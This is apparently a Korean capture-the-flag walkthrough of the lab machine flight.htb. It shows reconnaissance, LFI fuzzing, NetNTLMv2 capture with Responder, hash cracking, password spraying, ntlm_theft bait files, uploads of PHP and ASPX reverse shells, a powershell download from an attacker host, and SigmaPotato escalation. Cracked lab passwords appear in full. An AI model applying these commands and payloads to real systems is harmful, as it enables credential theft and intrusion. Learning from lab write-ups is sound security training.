INFORMATION GAHTERING

PORT SCANNING

NMAP - TCP PORTS

  • TCP 열린 포트 조사결과 커버로스(88) 외 88(LDAP), 636(LDAPS) 등의 포트가 개방되어 있었다.
  • 이를 통해, 해당 IP 주소에서는 도메인 컨트롤러가 운영되고 있음을 알 수 있다.
└─# nmap -p- -sC -sV -Pn -n --min-rate 10000 10.129.124.131 -oN 10.129.124.131_TCP
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-31 20:49 EDT
Nmap scan report for 10.129.124.131
Host is up (0.21s latency).
Not shown: 65518 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: g0 Aviation
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-01 07:49:46Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49700/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows
 
Host script results:
| smb2-time: 
|   date: 2025-09-01T07:50:40
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h59m59s
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 133.76 seconds

NMAP - UDP PORTS

  • UDP 포트스캔 결과 53(DNS), 88(UDP), 123(NTP) 포트가 개방되어 있었다.
  • 88번 포트는 초기 인증 요청(AS-REQ/AS-REP), 서비스 티켓 요청(TGS-REQ/TGS-REP) 등에 주로 사용된다.
└─# nmap -sU -sV -Pn -n --top-ports 100 --min-rate 10000 10.129.124.131 -oN 10.129.124.131_UDP
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-31 20:50 EDT
Nmap scan report for 10.129.124.131
Host is up (0.21s latency).
Not shown: 97 open|filtered udp ports (no-response)
PORT    STATE SERVICE      VERSION
53/udp  open  domain       (generic dns response: SERVFAIL)
88/udp  open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-01 07:50:16Z)
123/udp open  ntp          NTP v3
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-UDP:V=7.95%I=7%D=8/31%Time=68B4EDD8%P=x86_64-pc-linux-gnu%r(DNS-
SF:SD,2E,"\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04_udp\x05
SF:local\0\0\x0c\0\x01")%r(NBTStat,32,"\x80\xf0\x80\x82\0\x01\0\0\0\0\0\0\
SF:x20CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0\0!\0\x01");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 530.63 seconds

Domain Reconnaissance - dig

  • dig 명령어를 통해 fight.htb 도메인에 대한 모든 종류의 DNS 레코드(예: A, MX, NS 등) 정보를 확인한다.
  • 호스트 파일에 FQDN(g0.flight.htb) 정보와 NetBIOS 이름(호스트명)을 추가해준다.
└─# dig any flight.htb @10.129.124.131 
 
; <<>> DiG 9.20.9-1-Debian <<>> any flight.htb @10.129.124.131
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45585
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 3
 
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;flight.htb.                    IN      ANY
 
;; ANSWER SECTION:
flight.htb.             600     IN      A       10.129.124.131
flight.htb.             3600    IN      NS      g0.flight.htb.
flight.htb.             3600    IN      SOA     g0.flight.htb. hostmaster.flight.htb. 72 900 600 86400 3600
flight.htb.             600     IN      AAAA    dead:beef::3570:89d7:87ac:d7c5
 
;; ADDITIONAL SECTION:
g0.flight.htb.          1200    IN      A       10.129.124.131
g0.flight.htb.          1200    IN      AAAA    dead:beef::3570:89d7:87ac:d7c5
 
;; Query time: 203 msec
;; SERVER: 10.129.124.131#53(10.129.124.131) (TCP)
;; WHEN: Sun Aug 31 21:18:13 EDT 2025
;; MSG SIZE  rcvd: 191
 
[ . . . ]
 
└─# cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
10.129.124.131  g0.flight.htb   flight.htb      g0

Direcotry Enumeration

  • 80번 포트에서 운영중인 웹 서비스 페이지에 대하여 디렉토리 브루트포스 공격을 진행한다.
  • 유효한 정보는 발견되지 않았다.
└─# gobuster dir -u 10.129.124.131 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --no-error
 
[ . . . ]
 
/images               (Status: 301) [Size: 341] [--> http://10.129.124.131/images/]
/css                  (Status: 301) [Size: 338] [--> http://10.129.124.131/css/]
/js                   (Status: 301) [Size: 337] [--> http://10.129.124.131/js/]
 
[ . . . ]

Subdomain Enumeration

  • 80번 포트에서 운영중인 웹 서비스 페이지에 대하여 서브도메인 정보를 수집한다.
  • http:///school.flight.htb 서브도메인이 발견되었다.
└─# ffuf -u "http://flight.htb" -H "Host: FUZZ.flight.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 7069 
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://flight.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.flight.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 7069
________________________________________________
 
school                  [Status: 200, Size: 3996, Words: 1045, Lines: 91, Duration: 209ms]
:: Progress: [4989/4989] :: Job [1/1] :: 39 req/sec :: Duration: [0:00:30] :: Errors: 0 ::
  • 새로 발견된 서브도메인 정보를 /etc/hosts 파일에 추가한다.
└─# cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
10.129.124.131  g0.flight.htb   flight.htb      g0
10.129.124.131  school.flight.htb
  • http://school.flight.htb 접근 후 홈페이지에 노출된 Home, About Us, Blog 버튼을 클릭해보면 GET 메소드를 통해 view 파라미터에 특정 파일을 서버에 요청하는 것을 확인할 수 있다.
  • 따라서, 해당 파라미터 값을 악용하여 LFI 공격이 가능한지 확인해 볼 필요가 있다.


VULNEABILITY ASSESSMENT

Testing LFI (Local File Inclusion)

  • 포트스캔 과정에서, 대상 호스트가 Windows 운영체제를 사용하고 있음을 확인했다.
  • Windows OS에 대한 LFI 공격 수행결과, LFI 공격이 가능함을 확인하였으며 유효한 경로를 발견하였다.
└─# ffuf -u 'http://school.flight.htb/index.php?view=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Windows-adeadfed.txt -fs 1170
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://school.flight.htb/index.php?view=FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-Windows-adeadfed.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 1170
________________________________________________
 
//./C:/Windows/system32/drivers/etc/hosts. [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 208ms]
//./C:/Windows/system32/drivers/etc/hosts [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 209ms]
//127.0.0.1/C$/Windows/system32/drivers/etc/hosts [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 220ms]
//?/C:/Windows/system32/drivers/etc/hosts [Status: 200, Size: 1102, Words: 144, Lines: 31, Duration: 220ms]
//localhost/C$/Windows/system32/drivers/etc/hosts [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 220ms]
//localhost/C$/Windows/system32/drivers/etc/hosts. [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 220ms]
//127.0.0.1/C$/Windows/system32/drivers/etc/hosts. [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 209ms]
//::1/C$/Windows/system32/drivers/etc/hosts [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 211ms]
//::1/C$/Windows/system32/drivers/etc/hosts. [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 212ms]
C:/Windows/system32/drivers/etc/hosts [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 204ms]
C:/Windows/system32/drivers/etc/hosts. [Status: 200, Size: 1926, Words: 315, Lines: 52, Duration: 204ms]
:: Progress: [215/215] :: Job [1/1] :: 191 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
  • 대상 호스트의 80번 포트에서는 웹 서비스가 운영중이었으며, 숨겨진 서브도메인(school.flight.htb)이 존재했다. 이 서브도메인에는 index.php 파일이 존재하였는데, 이 소스파일의 view 파라미터는 LFI 공격에 취약했다. 이를 통해 공격자는 대상 호스트에 임의의 값을 입력하여 호스트 내 중요 파일에 접근 가능했다.
  • 특정 경로의 파일에 접근하는 것은 가능했으나, RCE가 가능한 포인트는 발견되지 않아 직접적인 리버스 쉘 연결은 불가능했다. 이러한 경우에 리스폰더(Responder)를 이용하여 대상 호스트의 NetNTLMv2 해시를 탈취하여 크래킹을 시도해 볼 수 있다. (RCE는 불가하지만, 특정 경로로의 접근은 시도해볼 수 있으므로 공격자의 SMB 서버로 접근하여 NetNTLMv2 해시값을 획득할 수 있다.)

Responder - Gain NetNTLMv2 Hash of target host’s account

  • 공격자 호스트 측에서 NetNTLMv2 해시를 얻기 위한 서버를 개방한다. (responder)
└─# responder -I tun0 

Cracking NetNTLMv2 Hash

  • 리스폰더를 이용하여 대상 호스트로부터 NetNTLMv2 해시를 획득한 후 크래킹에 성공하였다. (S@Ss!K@*t13)
└─# john svc_apache_netntlm_hash --wordlist=./rockyou.txt         
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
S@Ss!K@*t13      (svc_apache)     
1g 0:00:00:06 DONE (2025-08-31 23:27) 0.1582g/s 1687Kp/s 1687Kc/s 1687KC/s SADSAM..S42150461
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

Domain Enumeration (impakcet-lookupsid)

  • impacket-lookupsid 도구를 이용하여 도메인 내 유저정보를 추출한다.
└─# impacket-lookupsid flight.htb/svc_apache@10.129.124.131           
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
 
Password:
[*] Brute forcing SIDs at 10.129.124.131
[*] StringBinding ncacn_np:10.129.124.131[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209
498: flight\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: flight\Administrator (SidTypeUser)
501: flight\Guest (SidTypeUser)
502: flight\krbtgt (SidTypeUser)
512: flight\Domain Admins (SidTypeGroup)
513: flight\Domain Users (SidTypeGroup)
514: flight\Domain Guests (SidTypeGroup)
515: flight\Domain Computers (SidTypeGroup)
516: flight\Domain Controllers (SidTypeGroup)
517: flight\Cert Publishers (SidTypeAlias)
518: flight\Schema Admins (SidTypeGroup)
519: flight\Enterprise Admins (SidTypeGroup)
520: flight\Group Policy Creator Owners (SidTypeGroup)
521: flight\Read-only Domain Controllers (SidTypeGroup)
522: flight\Cloneable Domain Controllers (SidTypeGroup)
525: flight\Protected Users (SidTypeGroup)
526: flight\Key Admins (SidTypeGroup)
527: flight\Enterprise Key Admins (SidTypeGroup)
553: flight\RAS and IAS Servers (SidTypeAlias)
571: flight\Allowed RODC Password Replication Group (SidTypeAlias)
572: flight\Denied RODC Password Replication Group (SidTypeAlias)
1000: flight\Access-Denied Assistance Users (SidTypeAlias)
1001: flight\G0$ (SidTypeUser)
1102: flight\DnsAdmins (SidTypeAlias)
1103: flight\DnsUpdateProxy (SidTypeGroup)
1602: flight\S.Moon (SidTypeUser)
1603: flight\R.Cold (SidTypeUser)
1604: flight\G.Lors (SidTypeUser)
1605: flight\L.Kein (SidTypeUser)
1606: flight\M.Gold (SidTypeUser)
1607: flight\C.Bum (SidTypeUser)
1608: flight\W.Walker (SidTypeUser)
1609: flight\I.Francis (SidTypeUser)
1610: flight\D.Truff (SidTypeUser)
1611: flight\V.Stevens (SidTypeUser)
1612: flight\svc_apache (SidTypeUser)
1613: flight\O.Possum (SidTypeUser)
1614: flight\WebDevs (SidTypeGroup)
  • 추후 크레덴셜 스프레잉 공격에 활용하기 위해 SidTypeUser에 대한 정보만 따로 추출하여 파일로 저장한다.
└─# impacket-lookupsid flight.htb/svc_apache@10.129.124.131 | grep -i SidTypeUser | awk '{print $2}' | cut -d '\' -f 2 | tee SidTypeUsers   
Password:
Administrator
Guest
krbtgt
G0$
S.Moon
R.Cold
G.Lors
L.Kein
M.Gold
C.Bum
W.Walker
I.Francis
D.Truff
V.Stevens
svc_apache
O.Possum

Password Spraying Attack

  • 이전에 획득한 svc_apache 계정의 패스워드를 이용하여 스프레잉 공격을 진행한다.
  • 이 과정에서 S.Moon 계정도 svc_apache 계정과 동일한 패스워드를 사용하고 있는 것을 확인했다.
└─# nxc smb 10.129.124.131 -u SidTypeUsers -p 'S@Ss!K@*t13' --no-brute --continue-on-success
SMB         10.129.124.131  445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) 
SMB         10.129.124.131  445    G0               [-] flight.htb\Administrator:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.124.131  445    G0               [-] flight.htb\Guest:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.124.131  445    G0               [-] flight.htb\krbtgt:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.124.131  445    G0               [-] flight.htb\G0$:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.124.131  445    G0               [+] flight.htb\S.Moon:S@Ss!K@*t13 
SMB         10.129.124.131  445    G0               [-] flight.htb\R.Cold:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.124.131  445    G0               [-] flight.htb\G.Lors:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.124.131  445    G0               [-] flight.htb\L.Kein:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.124.131  445    G0               [-] flight.htb\M.Gold:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.124.131  445    G0               [-] flight.htb\C.Bum:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.124.131  445    G0               [-] flight.htb\W.Walker:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.124.131  445    G0               [-] Connection Error: The NETBIOS connection with the remote host timed out.
SMB         10.129.124.131  445    G0               [-] flight.htb\D.Truff:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.124.131  445    G0               [-] flight.htb\V.Stevens:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.129.124.131  445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         10.129.124.131  445    G0               [-] flight.htb\O.Possum:S@Ss!K@*t13 STATUS_LOGON_FAILURE

Check SMB Permission of S.Moon

  • S.Moon 계정의 SMB 쉐어 접근권한을 확인한 결과, Shared 폴더에 대하여 쓰기 권한이 있음을 확인했다.
  • SMB 쉐어에 대한 쓰기 권한이 있는 경우에는 ntlm_theft 도구를 이용하여, NetNTLMv2 해시 값 획득을 시도해볼 수 있다. ntlm_theft 도구를 이용하여 악성 페이로드가 저장된 파일을 쉐어에 업로드하고 리스폰더를 이용하여 대상 호스트로부터 NetNTLMv2 해시 값을 얻을 수 있다.
└─# nxc smb 10.129.124.131 -u S.Moon -p 'S@Ss!K@*t13' --shares                        
SMB         10.129.124.131  445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) 
SMB         10.129.124.131  445    G0               [+] flight.htb\S.Moon:S@Ss!K@*t13 
SMB         10.129.124.131  445    G0               [*] Enumerated shares
SMB         10.129.124.131  445    G0               Share           Permissions     Remark
SMB         10.129.124.131  445    G0               -----           -----------     ------
SMB         10.129.124.131  445    G0               ADMIN$                          Remote Admin
SMB         10.129.124.131  445    G0               C$                              Default share
SMB         10.129.124.131  445    G0               IPC$            READ            Remote IPC
SMB         10.129.124.131  445    G0               NETLOGON        READ            Logon server share 
SMB         10.129.124.131  445    G0               Shared          READ,WRITE      
SMB         10.129.124.131  445    G0               SYSVOL          READ            Logon server share 
SMB         10.129.124.131  445    G0               Users           READ            
SMB         10.129.124.131  445    G0               Web             READ

ntlm_theft (Gain NetNTLMv2 Hash)

└─# git clone https://github.com/Greenwolf/ntlm_theft.git                                                                 
Cloning into 'ntlm_theft'...
remote: Enumerating objects: 135, done.
remote: Counting objects: 100% (28/28), done.
remote: Compressing objects: 100% (25/25), done.
remote: Total 135 (delta 13), reused 8 (delta 3), pack-reused 107 (from 1)
Receiving objects: 100% (135/135), 2.12 MiB | 22.14 MiB/s, done.
Resolving deltas: 100% (61/61), done.
 
[ . . . ]
 
└─# chmod +x ntlm_theft.py 
 
[ . . . ]
 
└─# python3 ntlm_theft.py -g all -s 10.10.14.8 -f test  
Created: test/test.scf (BROWSE TO FOLDER)
Created: test/test-(url).url (BROWSE TO FOLDER)
Created: test/test-(icon).url (BROWSE TO FOLDER)
Created: test/test.lnk (BROWSE TO FOLDER)
Created: test/test.rtf (OPEN)
Created: test/test-(stylesheet).xml (OPEN)
Created: test/test-(fulldocx).xml (OPEN)
Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: test/test-(includepicture).docx (OPEN)
Created: test/test-(remotetemplate).docx (OPEN)
Created: test/test-(frameset).docx (OPEN)
Created: test/test-(externalcell).xlsx (OPEN)
Created: test/test.wax (OPEN)
Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: test/test.asx (OPEN)
Created: test/test.jnlp (OPEN)
Created: test/test.application (DOWNLOAD AND OPEN)
Created: test/test.pdf (OPEN AND ALLOW)
Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
Created: test/Autorun.inf (BROWSE TO FOLDER)
Created: test/desktop.ini (BROWSE TO FOLDER)
Generation Complete.
  • 공격자 호스트에서 실행중인 리스폰더 서버에 c.bum 계정의 NTLMv2 Hash 값이 반환된 것을 확인 가능하다.

Cracking NTLMv2 Hash (c.bum)

  • c.bum 계정의 패스워드 추출에 성공했다. (Tikkycoll_431012284)
  • 추가로, 이 패스워드로 패스워드 스프레잉 공격을 진행하였으나 유효한 계정은 존재하지 않았다.
└─# echo 'c.bum::flight.htb:36cd727fca74d031:9F023A6AC746C47AE0D01C5F853B1C71:010100000000000000E7E96C0F1BDC010D88132F00630D8A000000000200
08004C0048005300530001001E00570049004E002D004300530056004F00510059004A00360034004A00530004003400570049004E002D004300530056004F00510059004A
00360034004A0053002E004C004800530053002E004C004F00430041004C00030014004C004800530053002E004C004F00430041004C00050014004C004800530053002E00
4C004F00430041004C000700080000E7E96C0F1BDC010600040002000000080030003000000000000000000000000030000071D19A580A57C3262D643ADF0E1D0FCA1A67F1
8C85052849DA65F0025765CE080A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0038000000
000000000000' > cbum_hash
 
[ . . . ]
 
└─# john cbum_hash --wordlist=./rockyou.txt             
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Tikkycoll_431012284 (c.bum)     
1g 0:00:00:06 DONE (2025-09-01 07:13) 0.1540g/s 1623Kp/s 1623Kc/s 1623KC/s TinyMutt69..Tiffani29
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

Check SMB Permission of C.Bum

  • C.Bum 계정은 Web 쉐어에 대해 쓰기(WRITE) 권한이 있다.
└─# nxc smb 10.129.124.131 -u 'C.Bum' -p 'Tikkycoll_431012284' --shares
SMB         10.129.124.131  445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.129.124.131  445    G0               [+] flight.htb\C.Bum:Tikkycoll_431012284 
SMB         10.129.124.131  445    G0               [*] Enumerated shares
SMB         10.129.124.131  445    G0               Share           Permissions     Remark
SMB         10.129.124.131  445    G0               -----           -----------     ------
SMB         10.129.124.131  445    G0               ADMIN$                          Remote Admin
SMB         10.129.124.131  445    G0               C$                              Default share
SMB         10.129.124.131  445    G0               IPC$            READ            Remote IPC
SMB         10.129.124.131  445    G0               NETLOGON        READ            Logon server share 
SMB         10.129.124.131  445    G0               Shared          READ,WRITE      
SMB         10.129.124.131  445    G0               SYSVOL          READ            Logon server share 
SMB         10.129.124.131  445    G0               Users           READ            
SMB         10.129.124.131  445    G0               Web             READ,WRITE
  • Web 쉐어로 접근하면, 2개의 도메인 폴더를 확인할 수 있다.
  • 이 때, \school.flight.htb\index.php는 앞서 살펴본 index.php 파일에 해당한다.
  • school 서브도메인에서 PHP 서버가 동작하고 있음을 확인하였고, 해당 폴더에 파일 쓰기 권한이 존재한다.
  • 따라서, 악성 페이로드(리버스쉘)가 저장된 파일을 업로드하여 RCE 명령 수행이 가능한지 테스트해 볼 필요가 있다.
└─# smbclient -U 'C.Bum' //10.129.124.131/Web                      
Password for [WORKGROUP\C.Bum]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Sep  1 15:08:00 2025
  ..                                  D        0  Mon Sep  1 15:08:00 2025
  flight.htb                          D        0  Mon Sep  1 15:07:00 2025
  school.flight.htb                   D        0  Mon Sep  1 15:07:00 2025
cd
                5056511 blocks of size 4096. 1229930 blocks available
smb: \> cd school.flight.htb
smb: \school.flight.htb\> ls
  .                                   D        0  Mon Sep  1 15:07:00 2025
  ..                                  D        0  Mon Sep  1 15:07:00 2025
  about.html                          A     1689  Mon Oct 24 23:54:45 2022
  blog.html                           A     3618  Mon Oct 24 23:53:59 2022
  home.html                           A     2683  Mon Oct 24 23:56:58 2022
  images                              D        0  Mon Sep  1 15:07:00 2025
  index.php                           A     2092  Thu Oct 27 03:59:25 2022
  lfi.html                            A      179  Thu Oct 27 03:55:16 2022
  styles                              D        0  Mon Sep  1 15:07:00 2025
  • 리버스 쉘은 PHP Ivan Sincek 코드를 사용하였다.
    • [1] 리버스 쉘 페이로드가 담긴 악성 파일을 school.flight.htb 도메인에 업로드
    • [2] 공격자 호스트에서 리버스 쉘 연결을 위한 리스닝 포트 개방 후 대기
    • [3] 파일 업로드 경로로 접근하여 리버스 쉘 획득

  • 현재 공격자는 svc_apache 계정에 대한 쉘을 획득한 것을 확인할 수 있다.


Lateral Movement (svc_apache > C.Bum)

  • C.Bum 계정의 쉘 획득 후 플래그(C:\Users\C.Bum\Desktop\user.txt) 확인

PRIVILEGE ESCALATION

  • 대상 호스트에서 운영중인 포트를 확인한 결과, 호스트 내부에서 동작하는 8000번 포트를 확인했다.
  • 공격 호스트에서 호스트 내부에서 운영중인 서비스(8000)로의 직접 접근은 불가하므로, 포트 포워딩이 필요하다.
C:\>netstat -ano | findstr LISTENING                                                                                        
netstat -ano | findstr LISTENING
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       5508
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING       652
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       924
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING       652
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING       5508
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING       652
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING       924
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING       652
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       652
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       652
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       3028
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
[ . . . ]

Reverse Port Forwarding (Chisel)


  • 이전 과정에서 호스트 내부의 8000번 포트로 접근하면, contact.html 경로로 접근되는 것을 확인할 수 있었다.
  • 해당 파일은 대상 호스트의 C:\inetpub\development 경로에 있는 파일인 것을 확인했다.
  • 여기서 inetpub 폴더 권한은 웹 서버(IIS)가 설치된 경우 웹사이트 파일 및 로그를 관리하는 데 필수적이며, 기본적으로 Administrators, SYSTEM, IIS_IUSRS와 같은 계정이 읽기/쓰기 권한을 가진다.
C:\inetpub\development>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 1DF4-493D
 
 Directory of C:\inetpub\development
 
09/01/2025  12:57 PM    <DIR>          .
09/01/2025  12:57 PM    <DIR>          ..
04/16/2018  02:23 PM             9,371 contact.html
09/01/2025  12:57 PM    <DIR>          css
09/01/2025  12:57 PM    <DIR>          fonts
09/01/2025  12:57 PM    <DIR>          img
04/16/2018  02:23 PM            45,949 index.html
09/01/2025  12:57 PM    <DIR>          js
               2 File(s)         55,320 bytes
               6 Dir(s)   5,022,593,024 bytes free
  • C.Bum 계정이 해당 폴더에 대해 가지고 있는 권한을 확인한 결과, 쓰기 권한이 존재했다.
  • 따라서, 웹 쉘 혹은 리버스 쉘 코드를 삽입하여 권한 상승을 시도해 볼 수 있다.
C:\inetpub\development flight\C.Bum:(OI)(CI)(W)
                       NT SERVICE\TrustedInstaller:(I)(F)
                       NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F)
                       NT AUTHORITY\SYSTEM:(I)(F)
                       NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                       BUILTIN\Administrators:(I)(F)
                       BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                       BUILTIN\Users:(I)(RX)
                       BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                       CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Upload Malicious File (C:\inetpub\development\[...])

  • 12fdsf23.aspx
    • 리버스 쉘 ASPX 파일은 위 URL의 IP/PORT를 변경하여 사용하였다.
C:\inetpub\development>powershell wget http://10.10.14.8/asp_revshell.aspx -OutFile 12fdsf23.aspx                          
powershell wget http://10.10.14.8/asp_revshell.aspx -OutFile 12fdsf23.aspx
  • 공격자 호스트에서 리스닝 포트 개방 후 리버스 쉘 경로로 접근하여 iis apppool 계정의 쉘 획득에 성공했다.
  • 추가로, 해당 계정은 SeImpersonatePrivilege 권한이 존재하므로 이를 악용하여 권한 상승을 시도해 볼 수 있다.


PRIVILEGE ESCALATION - SigmaPotato

  • 플래그(C:\Users\Administrator\Desktop\root.txt) 확인


Walkthrough

  • [1] 포트 스캔을 통해 대상 호스트 식별 (도메인 컨트롤러)
  • [2] 디렉토리 열거를 통해 서브 도메인 식별 (school.flight.htb)
  • [3] 서브 도메인 주소에 존재하는 LFI 취약점을 통해 유효한 계정 획득 (svc_apche)
  • [4] 패스워드 스프레잉 공격으로 svc_apche와 동일한 패스워드를 사용하는 계정 획득 (S.Moon)
  • [5] S.Moon 계정은 Shared 쉐어에 쓰기 권한이 존재, ntlm_theft 도구 이용하여 신규 계정 획득 (C.Bum)
  • [6] C.Bum 계정은 Web 쉐어에 대해 쓰기 권한이 존재, 리버스 쉘 파일 업로드하여 초기 침투
  • [7] RunasCs 도구 이용하여 C.Bum 계정으로 측면 이동 진행
